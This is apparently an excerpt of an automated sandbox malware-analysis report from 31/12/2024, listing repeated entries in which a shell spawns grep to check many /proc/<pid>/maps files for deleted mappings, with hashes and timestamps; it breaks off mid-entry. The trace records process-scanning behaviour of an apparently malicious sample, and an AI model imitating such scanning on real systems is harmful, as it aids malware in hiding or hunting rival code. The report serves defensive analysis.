Analysis Process: grep PID: 6559, Parent PID: 6239

General

Start time (UTC):	20:32:10
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2080/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6561, Parent PID: 6239

General

Start time (UTC):	20:32:10
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6561, Parent PID: 6239

General

Start time (UTC):	20:32:10
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2083/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6562, Parent PID: 6239

General

Start time (UTC):	20:32:10
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6562, Parent PID: 6239

General

Start time (UTC):	20:32:10
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2084/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6566, Parent PID: 6239

General

Start time (UTC):	20:32:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6566, Parent PID: 6239

General

Start time (UTC):	20:32:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/209/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6567, Parent PID: 6239

General

Start time (UTC):	20:32:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6567, Parent PID: 6239

General

Start time (UTC):	20:32:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2096/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6568, Parent PID: 6239

General

Start time (UTC):	20:32:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6568, Parent PID: 6239

General

Start time (UTC):	20:32:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2097/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6571, Parent PID: 6239

General

Start time (UTC):	20:32:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6571, Parent PID: 6239

General

Start time (UTC):	20:32:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/21/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6572, Parent PID: 6239

General

Start time (UTC):	20:32:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6572, Parent PID: 6239

General

Start time (UTC):	20:32:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/210/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6576, Parent PID: 6239

General

Start time (UTC):	20:32:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6576, Parent PID: 6239

General

Start time (UTC):	20:32:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2102/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6577, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6577, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/211/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6578, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6578, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2114/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6580, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6580, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/212/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6581, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6581, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2123/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6582, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6582, Parent PID: 6239

General

Start time (UTC):	20:32:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2126/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6583, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6583, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2128/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6584, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6584, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2129/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6585, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6585, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/213/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6586, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6586, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/214/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6587, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6587, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2146/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6588, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6588, Parent PID: 6239

General

Start time (UTC):	20:32:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/215/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6589, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6589, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2156/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6590, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6590, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/216/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6591, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6591, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/217/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6593, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6593, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/218/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6594, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6594, Parent PID: 6239

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2180/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6595, Parent PID: 6239

General

Start time (UTC):	20:32:16
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6595, Parent PID: 6239

General

Start time (UTC):	20:32:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/219/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6596, Parent PID: 6239

General

Start time (UTC):	20:32:16
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6596, Parent PID: 6239

General

Start time (UTC):	20:32:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2195/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6598, Parent PID: 6239

General

Start time (UTC):	20:32:17
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6598, Parent PID: 6239

General

Start time (UTC):	20:32:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/22/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6599, Parent PID: 6239

General

Start time (UTC):	20:32:17
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6599, Parent PID: 6239

General

Start time (UTC):	20:32:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/220/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6602, Parent PID: 6239

General

Start time (UTC):	20:32:17
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6602, Parent PID: 6239

General

Start time (UTC):	20:32:17
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2208/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6623, Parent PID: 6239

General

Start time (UTC):	20:32:18
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6623, Parent PID: 6239

General

Start time (UTC):	20:32:18
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/221/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6624, Parent PID: 6239

General

Start time (UTC):	20:32:18
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6624, Parent PID: 6239

General

Start time (UTC):	20:32:18
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/222/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6625, Parent PID: 6239

General

Start time (UTC):	20:32:19
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6625, Parent PID: 6239

General

Start time (UTC):	20:32:19
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2223/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6626, Parent PID: 6239

General

Start time (UTC):	20:32:19
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6626, Parent PID: 6239

General

Start time (UTC):	20:32:19
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2226/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6627, Parent PID: 6239

General

Start time (UTC):	20:32:19
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6627, Parent PID: 6239

General

Start time (UTC):	20:32:19
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/223/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6631, Parent PID: 6239

General

Start time (UTC):	20:32:20
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6631, Parent PID: 6239

General

Start time (UTC):	20:32:20
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2235/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6632, Parent PID: 6239

General

Start time (UTC):	20:32:20
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6632, Parent PID: 6239

General

Start time (UTC):	20:32:20
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/224/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6633, Parent PID: 6239

General

Start time (UTC):	20:32:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6633, Parent PID: 6239

General

Start time (UTC):	20:32:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2242/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6638, Parent PID: 6239

General

Start time (UTC):	20:32:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6638, Parent PID: 6239

General

Start time (UTC):	20:32:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/225/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6641, Parent PID: 6239

General

Start time (UTC):	20:32:21
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6641, Parent PID: 6239

General

Start time (UTC):	20:32:21
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/226/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6642, Parent PID: 6239

General

Start time (UTC):	20:32:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6642, Parent PID: 6239

General

Start time (UTC):	20:32:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/227/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6643, Parent PID: 6239

General

Start time (UTC):	20:32:22
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6643, Parent PID: 6239

General

Start time (UTC):	20:32:22
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2275/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6646, Parent PID: 6239

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6646, Parent PID: 6239

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/228/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6647, Parent PID: 6239

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6647, Parent PID: 6239

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2281/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6648, Parent PID: 6239

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6648, Parent PID: 6239

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2285/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6650, Parent PID: 6239

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6650, Parent PID: 6239

General

Start time (UTC):	20:32:23
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2289/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6651, Parent PID: 6239

General

Start time (UTC):	20:32:24
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6651, Parent PID: 6239

General

Start time (UTC):	20:32:24
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/229/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6652, Parent PID: 6239

General

Start time (UTC):	20:32:24
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6652, Parent PID: 6239

General

Start time (UTC):	20:32:24
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2294/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6654, Parent PID: 6239

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6654, Parent PID: 6239

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/23/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6804, Parent PID: 6239

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6804, Parent PID: 6239

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/230/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6809, Parent PID: 6239

General

Start time (UTC):	20:32:26
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6809, Parent PID: 6239

General

Start time (UTC):	20:32:26
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2302/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6810, Parent PID: 6239

General

Start time (UTC):	20:32:26
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6810, Parent PID: 6239

General

Start time (UTC):	20:32:26
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2307/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6813, Parent PID: 6239

General

Start time (UTC):	20:32:27
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6813, Parent PID: 6239

General

Start time (UTC):	20:32:27
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/231/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6819, Parent PID: 6239

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6819, Parent PID: 6239

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/232/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6826, Parent PID: 6239

General

Start time (UTC):	20:32:29
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6826, Parent PID: 6239

General

Start time (UTC):	20:32:29
Start date (UTC):	31/12/2024
